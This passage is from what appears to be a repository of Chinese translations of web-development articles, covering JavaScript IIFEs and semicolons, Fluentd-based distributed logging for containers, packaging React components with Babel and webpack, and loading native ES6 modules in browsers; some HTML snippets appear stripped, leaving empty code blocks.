})(); 而防御性分号就可以解决这个问题: var foo = bar; (function() { // ... })(); 就算这个分号前面什么代码也没有,在语法上其实这也是正确的:它会被当做一个*空声明(empty statement)*,无伤大雅。 JavaScript [自动添加分号](http://www.ecma-international.org/ecma-262/6.0/#sec-automatic-semicolon-insertion)的特性很容易让意想不到的错误发生。我建议你永远显式地写好分号,以防解释器自己添加。 ## 用箭头函数代替函数表达式 随着 ECMAScript 2015 的到来,JavaScript 的函数声明方式中又多了一个箭头函数(Arrow Function)。箭头函数与函数表达式同属于表达式而非声明语句。所以我们同样可以用它来创造 IIFE: (() => { // ... })(); 不过我并不建议你这么做;我觉得传统的 `function` 关键字写法的可读性要好得多。 ================================================ FILE: TODO/distributed-logging-architecture-in-the-container-era.md ================================================ * 原文地址:[ Distributed Logging Architecture in the Container Era ](https://blog.treasuredata.com/blog/2016/08/03/distributed-logging-architecture-in-the-container-era/ ) * 原文作者:[Glenn Davis](https://blog.treasuredata.com/blog/author/glenn/) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Airmacho](https://github.com/Airmacho) * 校对者:[DeadLion](https://github.com/DeadLion),[GiggleAll](https://github.com/GiggleAll) ## 容器时代的分布式日志架构 ### 微服务与宏观问题 现代的科技公司强调微服务架构,容器也越来越重要。在需要为多种平台和应用提供服务的世界里,微服务是必不可少的。容器,比如 Docker,相比于它的近亲,虚拟机, 拥有更高的资源利用率,更好的隔离性和更棒的可移植性,这使其成为了微服务的理想选择。 但微服务和容器也会带来问题。可以将它已过时的前代单体架构与现代的微服务框架对比来思考。 ![](https://i0.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/1.png?w=800) 单体架构也许不具备可扩展性和灵活性,但它有统一性的优势。要理解为什么统一性非常重要,想象你也许需要根据你的业务需求,收集和聚合不同类型的日志数据。你也许想知道站点的哪个页面是访问最频繁的,哪个按钮或者广告是用户频繁点击的。你也许想把这些数据与从手机应用渠道来的销售数据,或者游戏数据做比对,如果你是一个游戏制作者的话。你也许想收集用户手机的操作日志,或者传感器的数据。如果你的内部团队正在做漏洞分析或者事件影响分析,你也许需要对比这些计算结果和历史数据。物联网数据,SaaS 服务数据,公共数据等等各种各样的数据类型。 理论上,由单体架构产生的数据很容易追踪。按定义说,系统是中心化的,它生成的日志都可以使用相同的模式格式化。微服务,就我们所知道,不是这样的。不同服务的日志有自己的模式,或者根本就没有模式可言!因此,简单地从不同的服务收集日志,再将它们转成可读的格式,是一个难以解决的数据基础架构问题。 > 在容器化的世界里,我们必须从不同的角度考虑日志记录。 这是接下来我们要聊容器之前的所有问题。容器化,如我们所说,对以微服务为基础的服务是非常有用的,因为它很高效。容器使用的资源比虚拟机少得多 -- 远比实体服务器少。它们可以非常接近客户,提高运行速度。并且由于它们相互隔离,依赖的问题会可以减少(如果不能完全消除)。 但这些使容器有利于微服务的优势,也导致了更多日志和数据聚合问题。传统上,日志用它们的来源服务器的 IP 地址标记。这不适用于容器,容器阻隔了固定的服务器和角色之间的映射。另一个问题是日志文件的存储。容器是不可变的,用后即可丢弃的,所以存在容器里的日志会随着容器实例结束而消失。你可以把它们存储在主机服务器上,但你可能是在同一个主机服务器上运行多个容器和服务。如果服务器的存储空间不足时又会发生什么呢?我们如何获取这些日志呢?用服务发现软件,比如 Consul?太棒了,又需要安装一个组件(翻白眼)。或者也许我们应该用 rsync,或 ssh 和 tail。现在我们需要把这些喜欢的工具安装在我们的所有容器里。。。 ### 突破日志困境:智能的数据基础架构 没有办法绕过上面的问题。在一个容器化微服务的世界中,我们必须以不同的方式思考如何记录日志。 日志应该是: - 在来源处标记和解析,并 - 尽可能快地推送到目的地 让我们来看看这是如何工作的。 ![](https://i2.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/2.png?w=450) 如我们前面说的,不同来源的日志可能是结构化或者非结构化的格式。处理原始日志简直是数据分析的噩梦。收集器节点通过将原始日志转换为结构化数据(例如,JSON 中的键值对,消息包或者其他标准格式)来解决这个问题。 在容器里运行的收集器节点代理,将结构化的数据实时的(或者微批量的)转发到聚合器节点。聚合器节点的工作是将多个小的日志流组合成一个数据流,更容易处理和收集到 Store 节点,在那里它们将被持久化以备日后使用。 我刚刚介绍的就是一种数据基础架构。并不是每个人都接受他们的数据需要基础架构的想法,但是在容器化微服务的世界里,没有其他办法。 为了使我们的数据基础架构具有可扩展性和可恢复性,有一些问题需要提前考虑。 - 网络流量。数据在所有的这些节点之间来回转发,我们需要一个“流量警察”,以确保网络不会过载或丢失数据。 - CPU 负载。在来源端解析数据和在聚合器上对其格式化是非常消耗计算资源的。同样,我们也需要一个系统来管理这些资源,防止我们的 CPU 超载。 - 冗余。弹性需要冗余。我们需要使聚合器冗余,以防止单点故障时造成数据丢失。 - 控制延迟。没有办法避免系统中的延迟。我们不能完全摆脱延迟,但我们需要控制它,这样我们才知道什么时候,系统中发生了什么。 现在我们看完了这些需求,让我们接着看看服务架构中一些不同的聚合模式。 ![](https://i2.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/4.png?w=700) ### 来源端聚合模式 第一个问题是,我们是否应该在来源端(服务端)聚合数据 。答案是这需要权衡一下。 ![](https://i0.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/6.gif?w=450) 不在来源端设置聚合的服务框架的最大优势是简单,但这种简单是有代价的: - 固定的聚合器(服务端)地址。如果想更改聚合器的地址,你不得不重新配置每一个收集器。 - 过多的网络连接。记得我们说的,小心不要超载我们的网络吗?网络超载就是这样发生的。在来源端聚合数据远比直接在目标端聚合数据,网络效率高得多 — 需要支撑的 socket 连接和数据流更少。 - 聚合器高负载。来源端聚合不仅导致网络流量高,也会使聚合器的 CPU 过载,导致数据丢失。 现在让我们看下在来源端聚合数据的利弊。 ![](https://i0.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/7.gif?w=500) 在来源端聚合有一个缺点就是:它会消耗更多的资源。它需要在每台主机上设置另一个容器,额外的资源消耗带来的好处有: - 更少的网络连接数。更少的网络连接也意味着更少的网络流量。 - 较低的聚合负载。因为资源的消耗分摊在整个数据基础架构上,因此某个聚合器过载的几率会大大减少,从而数据丢失几率更小。 - 容器的配置更简单。因为对于每个收集器,聚合器的地址都是 “localhost”(本地),设置可以大大简化。目标端地址只需要在一个节点中(本地的聚合器容器)指定。 - 高度灵活的配置。这种简化配置使你的数据基础架构高度模块化。你可以随时为你的主要业务增删服务器。 #### 目标端聚合模式 无论我们是否在来源端聚合,我们都可以选择在目标端创建单独的聚合器。最终是否应该这样做,同样是个利弊权衡问题。避免目标端聚合可以限制节点数量,从而实现更简单的配置。 ### 仅在来源端聚合 ![](https://i2.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/9.gif?w=450) 但是,类似来源端,放弃目标端聚合也会是有代价的: - 目标端的修改会影响来源端。这和我们不在来源端设置聚合器的情况下遇到的配置问题类似。如果目标端地址更新了,所有的来源端的聚合器都要被重新配置。 - 更差的性能。不在目标端设置聚合器会导致很多并发连接和写请求发送到我们的存储系统。视你选择的存储系统而定,这几乎总是会导致重大的性能问题。实际上,这是系统最频繁的大规模出现问题的部分,甚至可以让最健壮的系统宕掉。 #### 来源端和目标端聚合 ![](https://i1.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/10.gif?w=450) 最佳的配置是同时在来源端和目标端设置聚合器,同样,我们要权衡利弊,这样会导致有更多的节点,比之前的配置稍复杂。但是好处是显而易见的: - 目标端的改变不会影响来源端,总体维护成本更低。 - 更好的性能。有了来源端的独立的聚合器,我们可以调整聚合器,减少对 Store 的写请求,这让我们可以选择性能和扩展问题更少的标准数据库。 #### 冗余 在来源端聚合的另一个好处是容错性。在现实世界中,服务器是可能宕掉的。在处理由大量微服务连续不断生成的日志时,过重的负载更可能让服务器崩溃。当这种情况发生时,在宕机期间产生的事件会永久丢失,如果你的系统宕机时间过长,即使有来源端缓冲(如果你用的日志平台有来源端缓冲 — 超过一分钟)也会溢出,导致永久性的数据丢失。 目标端聚合通过增加冗余提高了容错能力。通过在容器和数据库之间多加一层,相同的数据副本会被发送给多个聚合器,而不是用并发连接过载你的数据库。 ### 扩展模式 负载均衡是数据基础架构另一个需要考虑的问题。有一千种方法来实现负载均衡,但是我们重点是要扩展模式之间做权衡,比如用一个 HTTP/TCP 负载均衡服务器来处理巨大的队列和大批的工作节点,或者水平扩展,负载通过循环方式均衡地分配到多个客户端聚合器节点,通过简单地增加聚合器来管理扩展。 ![](https://i1.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/11.gif?w=800) 哪种类型的负载均衡是最好的,同样,取决于现实情况。使用哪种方式取决于你系统的规模和它是否采用目标端聚合。 至少在概念上垂直扩展比水平扩展简单。因此,它很适合创业项目。但是垂直扩展有局限性,有可能在最坏的时机出故障。难道当[你的服务扩展到每天处理 50 亿事件,然后突然开始在每次垃圾回收的崩溃](https://www.treasuredata.com/case-study/mobfox),你不恼火吗? 水平扩展更复杂,但可以提供(理论上讲)无限的容量。你可以随时添加更多的聚合器节点。 ![](https://i0.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/12.gif?w=600) ### 锁与钥匙:Docker + [Fluentd](http://www.fluentd.org/) 对微服务统一的日志层的需求促使 Sadayuki Furuhashi,[Treasure Data](https://www.treasuredata.com/) 首席机构师,开发并开源了 [Fluentd](http://www.fluentd.org/) 框架。Fluentd 是一个日志采集系统,守护进程,类似 syslogd,它监听来自服务的消息,并以各种方式路由它们。但与 syslogd 不同,Fluentd 是为了统一微服务的日志源从头构建的,因此可以有效地用于生产环境和分析工具。相同的高性能代码可以在收集器或聚合器模式下使用,只要简单的调整配置,使其非常容易在整个系统上进行部署。 因为 Docker Machine 原生支持 [Fluentd](http://www.fluentd.org/),可以不必在每个容器中运行任何“代理”,就可以收集所有容器日志。只需要使用 “-log-driver=fluentd” 选项启动 Docker 容器,并确保主机或者指定的“日志”容器运行 Fluentd。这种方法可以确保大部分容器运行“精简”,因为不需要在来源容器中安装日志代理。 ![](https://i0.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/16.png?w=462) Fluentd 的轻量级和可扩展性使其适用于在来源和目的地端聚合日志,无论是“向上扩展”还是“向外扩展”配置。同样,哪种设置更好要根据你当前的设置和未来的需求来定。让我们依次看看这两个设置。 ### 简单的转发 + 垂直扩展 ![](https://i2.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/13.gif?w=400) 说到易于配置,很难有比只需要在你的应用里配置几行 Fluentd 日志库的代码,就可以在每个容器中启用直接把日志转发到 Fluentd 实例更易用的了。因为这几乎毫不费力,对于刚刚起步的创业公司来说是巨大利好,这类公司通常只有少数几个服务,数据量也比较小,可以通过几个并发连接存在标准的 MySQL 数据库中。 但是冒着徒劳无收益的风险,这样的系统可扩展的能力是有限的。[如果你的创业公司一飞冲天呢?](https://www.treasuredata.com/case-study/mobfox)取决于你的业务多大程度上是数据驱动的,你也许想提前做些准备(或者考虑[把问题托管给数据架构技术公司](http://treasuredata.com))来避免到时措手不及。 ### 来源端聚合 + 垂直扩展 ![](https://i0.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/14.png?w=400) 另一种可能的配置是在来源端使用 Fluentd 聚合,并用有[400种多社区贡献插件](https://www.fluentd.org/plugins)之一,将聚合好的日志发送至一个 NoSQL 数据库存储。我们看看 [Elasticsearch](https://www.elastic.co/) 这个例子,因为它非常流行。这种配置(用 Kibana 做数据可视化),被称作 [EFK 技术栈](https://www.pandastrike.com/posts/20150807-fluentd-vs-logstash),可以运行在 [Kubernetes](http://kubernetes.io/docs/getting-started-guides/logging-elasticsearch/) 上。这相当直观,通常对于中等数据规模来说也很管用。 使用 Elasticsearch 需要注意:它是一个很棒的搜索平台,但[不是数据基础架构中心组建的最优选择]((https://blog.treasuredata.com/blog/2015/08/31/hadoop-vs-elasticsearch-for-advanced-analytics/))。当你需要负载大量的重要数据时,尤其如此。在生产级扩展方面,Elasticserach 已经被证明有关键的采集问题,包括[脑裂问题]((https://blog.treasuredata.com/blog/2015/08/31/hadoop-vs-elasticsearch-for-advanced-analytics/)),会导致数据丢失。在 EFK 配置里,由于 Fluentd 是在来源端聚合而不是目标端,如果存储部件丢失数据,则无法继续进行任何操作。 对于生产级扩展分析,你可以考虑一个更容错的平台,比如 [Hadoop](https://blog.treasuredata.com/blog/2015/08/31/hadoop-vs-elasticsearch-for-advanced-analytics/) 或者 Cassandra ,这两个平台都针对大量写操作负载进行了优化。 ### 来源端/目标端聚合 + 水平扩展 ![](https://i0.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/15.png?w=400) 如果你需要处理大量的复杂数据,最好的办法是同时在来源端和目标端设置聚合节点,利用 Fluentd 的多种设置模式。使用 Docker 附带的 Fluentd 日志驱动程序,你的应用程序可以将其日志写到 STDOUT 输出流。Docker 会自动把它们转发到本地的 Fluentd 实例上,然后按顺序聚合并通过 TCP 连接把它们再转发到目标端的 Fluentd 聚合器上。 这就是 Fluentd 强大的功能和灵活性的体现。在这种构架中,Fluentd 默认启用具有自动故障转移功能的循环负载平衡。这很适合水平扩展的架构,因为每个新节点都根据下游实例的流量负载平衡。另外,内置的[缓冲存储插件](http://docs.fluentd.org/articles/buffer-plugin-overview)能使其在传输过程中的每个阶段提自动防止数据丢失。它甚至包括自动的损坏检测(启动上传重试,直到完成全部数据传送)以及数据去重 API。 ### 哪种配置更适合你? 这取决于你的预算和业务发展有多快。你的创业公司是资源紧缺,只需要处理少量数据吗?你可以直接从来源端容器转发到一个单节点的 MySQL 数据库。如果你的需求更加简单,没有捕获故障的数据安全需求,EFK 技术栈就可以满足了。 然而,随着各种规模的组织变得越来越数据驱动,花时间思考你的长期目标是值得的。你是否需要确保当每天开始处理数十亿次事件时,数据管道不会阻塞?你是否希望未来无论添加的任何数据源时,系统具有最大的可扩展性?那样你应该考虑同时在来源端和目标端做聚合。未来数据量爆发时,你(和同事)将感谢你的深谋远虑。 无论你如何配置,Fluentd 的简单性,可靠性和可扩展性使其成为数据转发和聚合的理想选择。事实上,Docker 的内置使 Fluentd 成为了任何基于微服务的系统的不二选择。 如果你需要最大未来可扩展性,但现在没有足够的资源来实现,或者想要未来最大限度地减少维护用时,你可以考虑 [Treasure Data](https://www.treasuredata.com/) 的 [Fluentd](http://www.fluentd.org/) 企业支持版。企业版提供 24*7 的安全,监控和维护服务以及框架研发团队的支持。 如果您想要即插即用数据技术栈来外包整个分析系统的管理,请考虑 [Treasure Data](https://www.treasuredata.com/) 全面管理的收集,存储和处理系统。 Happy Logging! 感谢 [Satoshi “Moris” Tagomori,](https://twitter.com/tagomoris),这篇 post 内容基于他在 LinuxCon Japan 的演讲。 ================================================ FILE: TODO/distributing-react-components.md ================================================ > * 原文链接 : [Distributing React components](http://krasimirtsonev.com/blog/article/distributing-react-components-babel-browserify-webpack-uglifyjs) * 原文作者 : [Krasimir ](http://krasimirtsonev.com/blog/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [aleen42](http://aleen42.github.io/) * 校对者: [Aaaaaashu](https://github.com/Aaaaaashu)、[achilleo](https://github.com/achilleo) * 状态 : 完成 在我开源 [react-place](https://github.com/krasimir/react-place) 项目到时候,我注意到那么一个问题。那就是,准备构件发布有些复杂。因此,我决定在此记录该过程,以便日后遇到同样的问题时可查。 在准备构件期间,你会惊奇地发现建立`jsx`文件并不意味着该构件可用于发布,或该构件对于其他开发人员来说是可用的东西。 ## [](http://krasimirtsonev.com/blog/article/distributing-react-components-babel-browserify-webpack-uglifyjs#the-component)构件 [react-place](https://github.com/krasimir/react-place) 是一个提供输入服务的构件。当用户输入一个城市的名字时,该构件会作出预测并提供建议选项给该用户。`onLocationSet`是该构件的一个属性。当用户选择某些建议选项时,它将会被触发。触发后,构件里的一个函数,它将接收一个对象作为参数输入。该对象包含有对一个城市的简短描述以及其地理坐标。总的来说,我们是和一个外部 API (谷歌地图)和一个参与的硬关联(自动完成输入组件)进行通信操作。[这里](http://krasimir.github.io/react-place/example/index.html)有一个例子,它将展示该构件如何工作。 下面,我们来一起看看构件是如何完成?为何完成后,该构件还不能被发布? 时下,有一些概念处于风口浪尖。其中,就有 React 和它的[ JSX 语法](https://facebook.github.io/react/docs/jsx-in-depth.html)。另外,还有新版的 ES6 标准,而所有的这些,都与我们的浏览器息息相关。虽然,我想尽早应用这些新鲜的概念,但我需要一个转译器,用于解决它们兼容性不高的问题。该转译器将需要解析 ES6 标准下的代码并生成对应 ES5 标准下的。[Babel](http://babeljs.io/) 就是一款专门做这样工作的转换编译器,并且它能很好地结合于 React 使用。除了转译器之外,我还需要一个代码包装工具。该工具能解析[输入](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import)并生成一个包含应用的文件。在众多包装工具中,[webpack](https://webpack.github.io/) 是我的选择。 ## [](http://krasimirtsonev.com/blog/article/distributing-react-components-babel-browserify-webpack-uglifyjs#the-base)主要开发过程 两周前,我创建了一个 [react-webpack-started](https://github.com/krasimir/react-webpack-starter)。它接收一个 JSX 文件作为输入并用 Babel 生成对应的 ES5 文件。我们有一部本地开发伺服器、测试设定以及一个 linter 插件,然而这是另外一个故事,这里并不详述。(在[这里](http://krasimirtsonev.com/blog/article/a-modern-react-starter-pack-based-on-webpack)有相关更多的信息)。 在半年前,我更喜欢用 NPM 来定义项目的任务建立。下面是我刚开始可以运行的 NPM 脚本: // in package.json "scripts": { "dev": "./node_modules/.bin/webpack --watch --inline", "test": "karma start", "test:ci": "watch 'npm run test' src/" } `npm run dev` 该命令将触发 webpack 进行编译并启动设备进行服务。测试是通过 [Karma runner](http://karma-runner.github.io/) 和 Phantomjs 来完成的。而我使用的文件结构则如下所示: | +-- example-es6 | +-- build | | +-- app.js | | +-- app.js.map | +-- src | | +-- index.js | +-- index.html +-- src +-- vendor | +-- google.js + -- Location.jsx 我要发布的构件是放在`Location.jsx`里。为了测试它,我创建了一个简单的 app 应用(`example-es6` 文件夹)来导入该文件。 花了一些时间,终于把该构件开发完成。我把更改部分推送到 GitHub 的 [repository](https://github.com/krasimir/react-place) 并错误认为该构件已经可以被分享出去。然而,五分钟后我意识到这构件并不能。那是因为: * 如果我以 NPM 包发布该构件,我将需要一个入口地址。那么我想,我的 JSX 文件适合作入口地址吗?并不能,因为并不是所有的开发人员都喜欢 JSX。因此,该构件应该开发成非 JSX 版本。 * 我入口地址的代码是遵循 ES6 标准来书写的,然而并不是所有的开发者都遵循 ES6 标准且在建立过程中使用到转译器。因此,入口地址代码应该是遵循兼容性更高的 ES5 标准。 * webpack 的输出确实满足了上面所述的两个要求,然而它有一个问题。那就是该代码包装工具包含了整个 React 库,而我们想包装的只是该组件,不是 React。 综上所述,webpack 在开发过程的确是很有用,然而却并不能生成一个可用于引入或导入的文件。我尝试过使用 webpack 的 [externals](https://webpack.github.io/docs/library-and-externals.html) 选项来解决问题。但是我发现,当我们有全局可用的依赖时,该问题仍然是存在的。 ## [](http://krasimirtsonev.com/blog/article/distributing-react-components-babel-browserify-webpack-uglifyjs#producing-es5-entry-point)建立符合 ES5 标准的入口地址 从前面可以看到,定义一个是新的 NPM 脚本是很重要的。 NPM 甚至[有](https://docs.npmjs.com/misc/scripts)一个`prepublish`入口。它可以在包发布前且在本地执行`npm install`命令时运行。下面是我新添加的定义: // package.json "scripts": { "prepublish": "./node_modules/.bin/babel ./src --out-dir ./lib --source-maps --presets es2015,react" ... } 在这里,我们不需要使用 webpack,而只是使用 Babel。它会从`src`文件夹获取所有需要的东西,转化 JSX 文件为纯 JavaScript 调用并把 ES6 标准下的代码转成 ES5标准下的。 因此,文件结构将是: | +-- example-es6 +-- lib | +-- vendor | | +-- google.js | | +-- google.js.map | +-- Location.js | +-- Location.js.map +-- src +-- vendor | +-- google.js + -- Location.jsx `src`文件夹中的文件会被翻译成普通的 JavaScript 文件并加上所生成的源映射。在这过程,`--presets`选项中的 [`es2015`](https://babeljs.io/docs/plugins/preset-es2015/) 和 [`react`](https://babeljs.io/docs/plugins/preset-react/) 扮演着重要的角色。 理论上,从 ES5 标准下的代码中,我们应该可以通过命令`require('Location.js')`使得构件运作起来。但是,当我打开文件时,我发现这里并没有`module.exports`,而只是发现 exports.default = Location; 这将意味着我需要通过下面的命令来引入库: require('Location').default; 很感谢地说,[babel-plugin-add-module-exports](https://www.npmjs.com/package/babel-plugin-add-module-exports) 解决了该问题。因此,我把 NPM 脚本改成了如下: ./node_modules/.bin/babel ./src --out-dir ./lib --source-maps --presets es2015,react --plugins babel-plugin-add-module-exports ## [](http://krasimirtsonev.com/blog/article/distributing-react-components-babel-browserify-webpack-uglifyjs#generating-browser-bundle)浏览器化 前面部分介绍所生成的是一个可被任何 JavaScript 项目导入或引用的文件。任何一个代码包装工具像 webpack 或 [Browserify](http://browserify.org/) 都会解析所需要的依赖。但我最后考虑的一点是,如果开发人员不使用代码包装工具,那怎么办?简而言之,就是我们需要一个已经生成好的 JavaScript 文件,并直接可以使用 ` ``` 我们使用 Webpack 打包的代码包中包括了 3 个 JavaScript 文件,这些文件使用了 ES6 模块: ``` // app/index.js import dep1 from './dep-1'; function getComponent () { var element = document.createElement('div'); element.innerHTML = dep1(); return element; } document.body.appendChild(getComponent()); // app/dep-1.js import dep2 from './dep-2'; export default function() { return dep2(); } // app/dep-2.js export default function() { return 'Hello World, dependencies loaded!'; } ``` 这个 app 将会显示“Hello world”。在下文中显示“Hello world”即表示脚本加载成功。 ### 装载一个代码包(bundle) 配置使用 Webpack 创建一个代码包相对来说比较直观。在构建过程中,除了打包和使用 UglifyJS 压缩 JavaScript 文件之外并没有做别的什么事。 ``` // webpack.config.js const path = require('path'); const UglifyJSPlugin = require('uglifyjs-webpack-plugin'); module.exports = { entry: './app/index.js', output: { filename: 'bundle.js', path: path.resolve(__dirname, 'dist') }, plugins: [ new UglifyJSPlugin() ] }; ``` 3 个基础文件比较小,加起来只有 347 字节。 ``` $ ll app total 24 -rw-r--r-- 1 stefanjudis staff 75B Mar 16 19:33 dep-1.js -rw-r--r-- 1 stefanjudis staff 75B Mar 7 21:56 dep-2.js -rw-r--r-- 1 stefanjudis staff 197B Mar 16 19:33 index.js ``` 在我通过 Webpack 构建之后,我得到了一个 856 字节的代码包,大约增大了 500 字节。增加这么些字节还是可以接受的,这个代码包与我们平常生产环境中做代码装载没啥区别。感谢 Webpack,我们已经可以使用 ES6 模块了。 ``` $ webpack Hash: 4a237b1d69f142c78884 Version: webpack 2.2.1 Time: 114ms Asset Size Chunks Chunk Names bundle.js 856 bytes 0 [emitted] main [0] ./app/dep-1.js 78 bytes {0}[built] [1] ./app/dep-2.js 75 bytes {0}[built] [2] ./app/index.js 202 bytes {0}[built] ``` ## 使用原生支持的 ES6 模块的新设定 ## 现在,我们得到了一个“传统的打包代码”,现在所有还不支持 ES6 模块的浏览器都支持这种打包的代码。我们可以开始玩一些有趣的东西了。让我们在 `index.html` 中加上一个新的 script 元素指向 ES6 模块,为其加上 `type="module"`。 ``` ES6 modules tryout ``` 然后我们在 Chrome 中看看,发现并没有发生什么事。 ![image01](http://images.contentful.com/256tjdsmm689/4JHwnbyrssomECAG2GI8se/e8e35adc37bc0627f0902bcc2fdb52df/image01.png) 代码包还是和之前一样加载,“Hello world!” 也正常显示。虽然没看到效果,但是这说明浏览器可以接受这种它们并不理解的命令而不会报错,这是极好的。Chrome 忽略了这个它无法判断类型的 script 元素。 接下来,让我们在 Safari technology preview 中试试: ![Bildschirmfoto 2017-03-29 um 17.06.26](http://images.contentful.com/256tjdsmm689/1mefe0J3JKOiAoSguwMkka/0d76c5666300ed0b631a0fe548ac5b52/Bildschirmfoto_2017-03-29_um_17.06.26.png) 遗憾的是,它并没有显示另外的“Hello world”。造成问题的原因是构建工具与原生 ES 模块的差异:Webpack 是在构建的过程中找到那些需要 include 的文件,而 ES 模块是在浏览器中运行的时候才去取文件的,因此我们需要为此指定正确的文件路径: ``` // app/index.js // 这样写不行 // import dep1 from './dep-1'; // 这样写能正常工作 import dep1 from './dep-1.js'; ``` 改了文件路径之后它能正常工作了,但事实上 Safari Preview 加载了代码包,以及三个独立的模块,这意味着我们的代码被执行了两次。 ![image02](http://images.contentful.com/256tjdsmm689/6MeIDF7GuW6gy8om4Ceccc/a0dba00a4e0f301f2a7fd65449d044ab/image02.png) 这个问题的解决方案就是加上 `nomodule` 属性,我们可以在加载代码包的 script 元素里加上这个属性。这个属性[是最近才加入标准中的](https://github.com/whatwg/html/commit/a828019152213ae72b0ed2ba8e35b1c472091817),Safari Preview 也是在[一月底](https://trac.webkit.org/changeset/211078/webkit)才支持它的。这个属性会告诉 Safari,这个 script 是当不支持 ES6 模块时的“退路”。在这个例子中,浏览器支持 ES6 模块因此加上这个属性的 script 元素中的代码将不会执行。 ``` ES6 modules tryout ``` ![image03](http://images.contentful.com/256tjdsmm689/1YchZEromA2ueKUCoYqMsc/2c68c46ffd2a3ad73d99d17020d56093/image03.png) 现在好了。通过结合使用 `type="module"` 与 `nomodule`,我们现在可以在不支持 ES6 模块的浏览器中加载传统的代码包,在支持 ES6 模块的浏览器中加载 JavaScript 模块。 你可以在 [es-module-on.stefans-playground.rocks](http://es-module-on.stefans-playground.rocks/) 查看这个尚在制定的规范。 ### 模块与脚本的不同 ### 这儿有几个问题。首先,JavaScript 在 ES6 模块中运行与平常在 script 元素中不同。Axel Rauschmayer 在他的[探索 ES6](http://exploringjs.com/es6/ch_modules.html#sec_modules-vs-scripts)一书中很好地讨论了这个问题。我推荐你点击上面的链接阅读这本书,但是在此我先快速地总结一下主要的不同点: - ES6 模块默认在严格模式下运行(因此你不需要加上 `use strict` 了)。 - 最外层的 `this` 指向 `undefined`(而不是 window)。 - 最高级变量是 module 的局部变量(而不是 global)。 - ES6 模块会在浏览器完成 HTML 的分析之后异步加载与执行。 我认为,这些特性是巨大进步。模块是局部的——这意味着我们不再需要到处使用 IIFE 了,而且我们不用再担心全局变量泄露。而且默认在严格模式下运行,意味着我们可以在很多地方抛弃 `use strict` 声明。 > 译注:IIFE 全称 immediately-invoked function expression,即立即执行函数,也就是大家熟知的在函数后面加括号。 从改善性能的观点来看(可能是最重要的进步),**模块默认会延迟加载与执行**。因此我们将不再会不小心给我们的网站加上了阻碍加载的代码,使用 `type="module"` 的 script 元素也不再会有 [SPOF](https://www.stevesouders.com/blog/2010/06/01/frontend-spof/) 问题。我们也可以给它加上一个 `async` 属性,它将会覆盖默认的延迟加载行为。不过使用 `defer` [在现在也是一个不错的选择](https://calendar.perfplanet.com/2016/prefer-defer-over-async/)。 > 译注:SPOF 全称 Single Points Of Failure——单点故障 ``` ``` 如果你想详细了解这方面内容,可以阅读 [script 元素说明](https://html.spec.whatwg.org/multipage/scripting.html#the-script-element),这篇文章简单易读,并且包含了一些示例。 ## 压缩纯 ES6 代码 ## 还没完!我们现在能为 Chrome 提供压缩过的代码包,但是还不能为 Safari Preview 提供单独压缩过的文件。我们如何让这些文件变得更小呢?UglifyJS 能完成这项任务吗? 然而必须指出,UglifyJS 并不能完全处理好 ES6 代码。虽然它有个 `harmony` 开发版分支([地址](https://github.com/mishoo/UglifyJS2/tree/harmony))支持ES6,但不幸的是在我写这 3 个 JavaScript 文件的时候它并不能正常工作。 ``` $ uglifyjs dep-1.js -o dep-1.min.js Parse error at dep-1.js:3,23 export default function() { ^ SyntaxError: Unexpected token: punc (() // .. FAIL: 1 ``` 但是现在 UglifyJS 几乎存在于所有工具链中,那全部使用 ES6 编写的工程应该怎么办呢? 通常的流程是使用 Babel 之类的工具将代码转换为 ES5,然后使用 Uglify 对 ES5 代码进行压缩处理。但是在这篇文章里我不想使用 ES5 翻译工具,因为我们现在是要寻找面向未来的处理方式!Chrome 已经[覆盖了 97% ES6 规范](https://kangax.github.io/compat-table/es6/#chrome59) ,而 Safari Preview 版[自 verion 10 之后已经 100% 很好地支持 ES6](https://kangax.github.io/compat-table/es6/#safari10_1)了。 我在推特中提问是否有能够处理 ES6 的压缩工具,[Lars Graubner](https://twitter.com/larsgraubner) 告诉我可以使用 [Babili](https://github.com/babel/babili)。使用 Babili,我们能够轻松地对 ES6 模块进行压缩。 ``` // app/dep-2.js export default function() { return 'Hello World. dependencies loaded.'; } // dist/modules/dep-2.js export default function(){return 'Hello World. dependencies loaded.'} ``` 使用 Babili CLI 工具,可以轻松地分别压缩各个文件。 ``` $ babili app -d dist/modules app/dep-1.js -> dist/modules/dep-1.js app/dep-2.js -> dist/modules/dep-2.js app/index.js -> dist/modules/index.js ``` 最终结果: ``` $ ll dist -rw-r--r-- 1 stefanjudis staff 856B Mar 16 22:32 bundle.js $ ll dist/modules -rw-r--r-- 1 stefanjudis staff 69B Mar 16 22:32 dep-1.js -rw-r--r-- 1 stefanjudis staff 68B Mar 16 22:32 dep-2.js -rw-r--r-- 1 stefanjudis staff 161B Mar 16 22:32 index.js ``` 代码包仍然是大约 850B,所有文件加起来大约是 300B。我没有使用 GZIP,因为[它并不能很好地处理小文件](http://webmasters.stackexchange.com/questions/31750/what-is-recommended-minimum-object-size-for-gzip-performance-benefits)。(我们稍后会提到这个) ## 能通过 rel=preload 来加速 ES6 的模块加载吗? ## 对单个 JS 文件进行压缩取得了很好的效果。文件大小从 856B 降低到了 298B,但是我们还能进一步地加快加载速度。通过使用 ES6 模块,我们可以装载更少的代码,但是看看瀑布图你会发现,request 会按照模块的依赖链一个一个连续地加载。 那如果我们像之前在浏览器中对代码进行预加载那样,用 `` 元素告知浏览器要加载额外的 request,是否会加快模块的加载速度呢?在 Webpack 中,我们已经有了类似的工具,比如 Addy Osmani 的 [Webpack 预加载插件](https://github.com/GoogleChrome/preload-webpack-plugin)可以对分割的代码进行预加载,那 ES6 模块有没有类似的方法呢?如果你还不清楚 `rel="preload"` 是如何运作的,你可以先阅读 Yoav Weiss 在 Smashing Magazine 